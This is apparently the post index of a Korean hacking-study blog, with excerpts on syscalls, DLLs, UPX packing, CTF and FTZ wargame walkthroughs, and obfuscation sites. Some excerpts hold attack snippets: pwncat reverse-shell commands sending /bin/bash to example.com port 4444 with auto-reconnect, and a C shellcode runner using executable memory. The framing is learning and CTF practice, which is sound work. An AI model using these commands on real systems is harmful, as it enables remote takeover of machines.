๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
  • Tried. Failed. Logged.
728x90

์ „์ฒด ๊ธ€720

์–ด์…ˆ๋ธ”๋ฆฌ์–ด - ๋ฆฌ๋ˆ…์Šค syscall๋กœ open, read, write ์‚ฌ์šฉ ๋ฆฌ๋ˆ…์Šค ์•„ํ‚คํ…์ฒ˜ ํ™•์ธ ๋ช…๋ น์–ด uname -a syscall ํ…Œ์ด๋ธ” https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86_64-64_bit Chromium OS Docs - Linux System Call Table Linux System Call Table These are the system call numbers (NR) and their corresponding symbolic names. These vary significantly across architectures/ABIs, both in mappings and in actual name. This is a quick reference for p.. 2023. 3. 24.
๋ฆฌ๋ฒ„์‹ฑ - ์œˆ๋„์šฐ ์‰˜์ฝ”๋“œ ์‹คํ–‰ C์–ธ์–ด ์†Œ์Šค #include #include int main(void){ char shellcode[] = {0x00,}; void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); return 0; } 2023. 3. 23.
C/C++ - DLL ๋งŒ๋“ค๊ธฐ, DLL ์‚ฌ์šฉํ•˜๊ธฐ (GCC) my_dll.c (DLL ๋งŒ๋“ค๊ธฐ) #include void func() { system("start www.google.com");} GCC DLL ๋นŒ๋“œ gcc -shared my_dll.dll -o my_dll.c run.c (DLL ์‚ฌ์šฉํ•˜๊ธฐ) #include #include typedef void(*dll_func)();int main(){ HINSTANCE hDLL = LoadLibrary("my_dll.dll"); if(hDLL == NULL){ printf("Failed to load DLL\n"); return 1; } dll_func func = (dll_func)GetProcAddress(hDLL, "func"); if(func ==.. 2023. 3. 23.
๋„คํŠธ์›Œํฌ ๋ณด์•ˆ - Mullvad VPN ํฌํŠธํฌ์›Œ๋”ฉ์œผ๋กœ ์›น ์„œ๋ฒ„ ์™ธ๋ถ€์—์„œ ์ ‘์† Mullvad VPN ์‚ฌ์ดํŠธ: ๊ณ„์ • > ์žฅ์น˜ ํƒญ์—์„œ ๋‚ด ์žฅ์น˜ ํ™•์ธ ์ฃผ์†Œ: https://mullvad.net/ko/account/#/devices ๋‚ด ์žฅ์น˜์—์„œ "ํฌํŠธ ์ถ”๊ฐ€" ํด๋ฆญ ํฌํŠธํฌ์›Œ๋”ฉ ์„ค์ • ๋ฐฐ์ •๋œ ํฌํŠธ ๋ฒˆํ˜ธ ํ™•์ธ ๋‚˜๋ผ-๋„์‹œ-ํฌํŠธ๋ฒˆํ˜ธ ํ˜•์‹์ด๋ฉฐ ๋’ค์— ์ˆซ์ž ๋ฒˆํ˜ธ๊ฐ€ ์ง€์ •๋ฐ›์€ ๋‚ด ํฌํŠธ ๋ฒˆํ˜ธ์ด๋‹ค. Mullvad VPN ํ”„๋กœ๊ทธ๋žจ์—์„œ ํ†ฑ๋‹ˆ๋ฐ”ํ€ด(์„ค์ •) ํด๋ฆญ "VPN ์„ค์ •" ํด๋ฆญ ํ„ฐ๋„ ํ”„๋กœํ† ์ฝœ ํ•ญ๋ชฉ์—์„œ "OpenVPN"์„ ์„ ํƒ ๋ฐ˜๋“œ์‹œ VPN ์„œ๋ฒ„์˜ ์—ฐ๊ฒฐ๋œ ์œ„์น˜๊ฐ€ ํฌํŠธํฌ์›Œ๋”ฉ ํŽ˜์ด์ง€์—์„œ ์„ค์ •ํ•œ ์œ„์น˜๋ž‘ ์ผ์น˜ํ•˜๋Š”์ง€ ํ™•์ธ Mullvad VPN ์‚ฌ์ดํŠธ์—์„œ ํฌํŠธ ์ ‘์† ํ™•์ธํ•˜๊ธฐ ์ฃผ์†Œ: https://mullvad.net/ko/check ์ž์‹ ์˜ IPv4 ์ฃผ์†Œ๋ฅผ ์šฐ์„  ํ™•์ธ ๋ฐ”๋กœ ํ•˜๋‹จ์— "ํฌํŠธ ํ™•์ธ" ํƒญ์œผ๋กœ ๋“ค์–ด๊ฐ€ ๋ฐฉ๊ธˆ ์ „์— ํ™•์ธํ•œ ํฌ.. 2023. 3. 19.
์œˆ๋„์šฐ - ํ”„๋กœ๊ทธ๋žจ ํŒจํ‚น ๋„๊ตฌ(UPX) UPX(Ultimate Packer for eXecutables)๋Š” ์‹คํ–‰ ํŒŒ์ผ์˜ ํฌ๊ธฐ๋ฅผ ์ค„์ด๋Š” ํŒŒ์ผ ํŒจํ‚น ํ”„๋กœ๊ทธ๋žจ์ž…๋‹ˆ๋‹ค. https://upx.github.io/ UPX: the Ultimate Packer for eXecutables - Homepage Welcome UPX is a free, secure, portable, extendable, high-performance executable packer for several executable formats. Introduction UPX is an advanced executable file compressor. UPX will typically reduce the file size of programs and DLLs by around 50%-.. 2023. 3. 18.
TryHackMe - Simple CTF (2) Writeup 6๋ฒˆ ์งˆ๋ฌธ. ํš๋“ํ•œ ์„ธ๋ถ€ ์ •๋ณด๋กœ ์–ด๋””์—์„œ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ๋‚˜์š”?ํš๋“ํ•œ ๊ณ„์ •์œผ๋กœ ๋‹ค๋ฅธ ์„œ๋น„์Šค ์–ด๋””์— ๋กœ๊ทธ์ธ์ด ๊ฐ€๋Šฅํ•˜๋ƒ๋Š” ์งˆ๋ฌธ ๊ฐ™์•˜๋‹ค. ์šฐ์„  ์•Œ๊ณ  ์žˆ๋Š” ๊ณ„์ •์€ mitch:secret์ด์—ˆ์œผ๋ฉฐ ์›น ์„œ๋ฒ„์˜ SSH์—๋„ ๋กœ๊ทธ์ธ ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•ด ๋ณธ๋‹ค.  nmap์œผ๋กœ ์›น ์„œ๋ฒ„์˜ ssh ํฌํŠธ ๋ฒˆํ˜ธ๋ฅผ ์ฐพ์•„์ค€๋‹ค. (result: 2222/tcp) ssh ๋กœ๊ทธ์ธ ๋‹จ๊ณ„์—์„œ ์›น ์‚ฌ์ดํŠธ ๊ด€๋ฆฌ์ž์ธ mitch ๊ณ„์ •์„ ๋˜‘๊ฐ™์ด ์ž…๋ ฅํ•˜๋‹ˆ ๋กœ๊ทธ์ธ์ด ์„ฑ๊ณตํ–ˆ๋‹ค.   6๋ฒˆ ์ •๋‹ต์€ "ssh"  7๋ฒˆ ์งˆ๋ฌธ. ์‚ฌ์šฉ์ž์˜ ํ”Œ๋ž˜๊ทธ๋Š” ๋ฌด์—‡์ž…๋‹ˆ๊นŒ? ์ฐพ๋Š” ๊ฑด ๊ฐ„๋‹จํ•˜๋‹ค.์‰˜์— ๋“ค์–ด๊ฐ€์ž๋งˆ์ž ls๋ฅผ ์น˜๋ฉด user.txt๋ž€ ํŒŒ์ผ์ด ํ•˜๋‚˜ ์žˆ๋Š”๋ฐ ๊ทธ ๋‚ด์šฉ๋ฌผ์ด ๋ฐ”๋กœ ํ”Œ๋ž˜๊ทธ์ด๋‹ค.  7๋ฒˆ ์ •๋‹ต์€ "G00d j0b, keep up!"  8๋ฒˆ ์งˆ๋ฌธ. ํ™ˆ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๊ฐ€ ์žˆ๋‚˜์š”?.. 2023. 3. 18.
๋„คํŠธ์›Œํฌ ํ•ดํ‚น - pwncat ๋ฆฌ๋ฒ„์Šค์‰˜ ๋ช…๋ น์–ด pip ์„ค์น˜ ๋ช…๋ น์–ด pip install pwncat victim(ํด๋ผ์ด์–ธํŠธ)์ด ๊ณต๊ฒฉ์ž(์„œ๋ฒ„) ์ ‘์†์„ ์œ„ํ•œ ์„ค์น˜ ๋ช…๋ น์–ด sudo pip install pwncat-cs ์œ„๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ python3 -m pwncat ๋ช…๋ น์–ด๋ฅผ ์“ฐ๊ธฐ ์œ„ํ•œ ์„ค์น˜ ๋ช…๋ น์–ด TCP Reverse shell(ํด๋ผ์ด์–ธํŠธ) pwncat -e '/bin/bash' example.com 4444 pwncat -e '/bin/bash' example.com 4444 --reconn --reconn-wait 10 10์ดˆ๋งˆ๋‹ค ์žฌ์—ฐ๊ฒฐ ์‹œ๋„ ๊ณต๊ฒฉ์ž ๋ฆฌ๋ฒ„์Šค์‰˜ ์„œ๋ฒ„ ์˜คํ”ˆ python3 -m pwncat -lp 4444 pwncat ํ”„๋กฌํ”„ํŠธ ๋ช…๋ น์–ด / ๋‹จ์ถ•ํ‚ค sessions: ์—ฐ๊ฒฐ๋œ victim๋“ค ํ™•์ธ sessions {ID}: ์ƒํ˜ธ์ž‘์šฉ ํ•˜๋ ค๋Š” victi.. 2023. 3. 16.
ํŒŒ์ด์ฌ - ์ฝ”๋“œ ๋‚œ๋…ํ™” ๋ณ€ํ™˜ ์‚ฌ์ดํŠธ(pyob.oxyry.com) https://pyob.oxyry.com/ Oxyry Python Obfuscator - The most reliable python obfuscator in the world Features Rename symbol names, includes variables, functions, classes, arguments, class private methods. The name replacer avoids a 1:1 mapping of cleartext names to obfuscated names, the same name may be converted to several different names within differen pyob.oxyry.com 2023. 3. 16.
์›น ํ•ดํ‚น - ๋ฆฌ๋ฒ„์Šค ์‰˜ ๋ช…๋ น์–ด ๋ชจ์Œ ์‚ฌ์ดํŠธ(revshells.com) https://www.revshells.com/ Online - Reverse Shell Generator Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs. www.revshells.com 2023. 3. 16.
FTZ - level 9 hint ๋‹ค์Œ์€ /usr/bin/bof์˜ ์†Œ์Šค์ด๋‹ค. #include #include #include main(){ char buf2[10]; char buf[10]; printf("It can be overflow : "); fgets(buf,40,stdin); if ( strncmp(buf2, "go", 2) == 0 ) { printf("Good Skill!\n"); setreuid( 3010, 3010 ); system("/bin/bash"); } } ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ level10์˜ ๊ถŒํ•œ์„ ์–ป์–ด๋ผ. ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์— ๊ด€ํ•œ ๋ฌธ์ œ์ด๋‹ค. fgets ํ•จ์ˆ˜๋กœ ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ์ตœ๋Œ€ 40๋ฐ”์ดํŠธ ํฌ๊ธฐ์˜ ์ž…๋ ฅ์„ ๋ฐ›๊ณ  ์žˆ๋‹ค. ๋ฌธ์ œ๋Š” buf2์™€ buf ๋ณ€์ˆ˜์˜ ์‚ฌ์ด์ฆˆ๋Š” 10 ๋ฐ–์— ์•ˆ๋˜๊ธฐ ๋•Œ๋ฌธ์— ๋ฒ„ํผ๊ฐ€ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๋ผ์„œ ํ”„๋กœ๊ทธ๋žจ.. 2023. 3. 15.
FTZ - level 8 with ChatGPT ์˜ค๋žœ๋งŒ์— FTZ๋ฅผ ํ’€์–ด๋ณด๊ธฐ๋กœ ํ–ˆ๋‹ค. ์ตœ๊ทผ์— ChatGPT์— ์žฌ๋ฏธ๊ฐ€ ๋“ค๋ ค์„œ ๋‚ด๊ฐ€ ๋งŽ์ด ๋ฌด์ง€ํ•œ ์‹œ์Šคํ…œ ํ•ดํ‚น์— ๊ด€๋ จํ•œ ์งˆ๋ฌธ๋“ค์„ ํ•˜๋ฉด ์ฑ—๋ด‡ ์ธ๊ณต์ง€๋Šฅ์ด ์ดํ•ดํ•˜๊ธฐ ์‰ฌ์šด ๋‹ต๋ณ€์„ ํ•ด์คฌ๋Š”๋ฐ ๊ทธ ๊ณผ์ •์— ์‹œ์Šคํ…œ ํ•ดํ‚น์— ํฅ๋ฏธ๊ฐ€ ๋‹ฌ์•„์˜ฌ๋ผ ๋‹ค์‹œ ์ด์–ด์„œ ํ’€์–ด๋ณด๊ธฐ๋กœ ํ•œ ๊ฒƒ์ด๋‹ค. ์•„๋ฌดํŠผ level8์— ๋กœ๊ทธ์ธํ•˜์—ฌ ํžŒํŠธ๋ฅผ ์‚ดํŽด๋ณด๋‹ˆ level9์˜ shadow ํŒŒ์ผ์ด ์–ด๋”˜๊ฐ€์— ์ˆจ๊ฒจ์ ธ ์žˆ๋‹ค๋Š” ๊ฒƒ๊ณผ ์‚ฌ์ด์ฆˆ๋Š” 2700์ด๋ž€ ๋‚ด์šฉ์ด๋‹ค. shadow ํŒŒ์ผ์ด๋ž€? shadow ํŒŒ์ผ์€ ์‚ฌ์šฉ์ž ๊ณ„์ •์˜ ํŒจ์Šค์›Œ๋“œ๊ฐ€ ๋‹จ๋ฐฉํ–ฅ ์•”ํ˜ธํ™”์ธ ํ•ด์‹œ ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์•”ํ˜ธํ™”ํ•œ ์ƒํƒœ๋กœ ์ €์žฅ์ด ๋˜๋Š” ์•„์ฃผ ์ค‘์š”ํžˆ ๋‹ค๋ค„์•ผ ํ•˜๋Š” ํŒŒ์ผ์ด๋‹ค. /etc/shadow ํŒŒ์ผ์— ์ €์žฅ๋œ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ๋ฃจํŠธ ๊ถŒํ•œ๋งŒ ์—ด๋žŒ์ด ๊ฐ€๋Šฅํ•˜๋ฉฐ, ์ผ๋ฐ˜ ์œ ์ €๋Š” ์—ด์–ด๋ณผ ์ˆ˜ ์—†๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธ์„ ํ•  ๋•Œ๋Š” ์‰๋„์šฐ ํŒŒ์ผ์„ .. 2023. 3. 15.
๋จธ์‹ ๋Ÿฌ๋‹ - ๋จธ์‹ ๋Ÿฌ๋‹ ์‰ฝ๊ฒŒ ๋ฐฐ์šฐ๊ธฐ ์˜์ƒ: https://youtu.be/432p379XXMw ์›๋ฌธ: https://medium.com/@calebkaiser/dont-learn-machine-learning-8af3cf946214 Don’t learn machine learning Learn how to build software with ML models medium.com ์š”์•ฝ: ๋จธ์‹ ๋Ÿฌ๋‹์„ ๋ฐฐ์šฐ๊ธฐ ์œ„ํ•ด ๋ฐ‘๋ฐ˜์ธ ๋ฐ์ดํ„ฐ ๋ถ„์„ ๊ตฌ์กฐ๋ถ€ํ„ฐ ๊ณต๋ถ€ํ•˜๋Š” ๊ฒƒ์€ ๋งˆ์น˜ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ ๊ฐœ๋ฐœ์ž๊ฐ€ ๋กœ์šฐ ๋žญ๊ท€์ง€์ธ ์–ด์…ˆ๋ธ”๋ฆฌ ์–ธ์–ด๋ฅผ ๋ฐฐ์šฐ๋Š” ๊ฒƒ๊ณผ ๋น„์Šทํ•˜๋‹ค. ์†Œํ”„ํŠธ์›จ์–ด ๊ฐœ๋ฐœ์„ ์œ„ํ•œ ๋จธ์‹ ๋Ÿฌ๋‹์„ ๋ฐฐ์šฐ๊ธฐ ์œ„ํ•ด์„œ๋Š” ํƒ‘-๋‹ค์šด ๋ฐฉ์‹๊ณผ ์‹คํ–‰์„ ํ†ตํ•œ ํ•™์Šต ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜๋ผ chatGPT, YOLO ๊ฐ™์€ ํ”„๋กœ์ ํŠธ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ๋„ ์ข‹์€ ์ˆ˜๋‹จ์ด๋‹ค. 2023. 3. 13.
728x90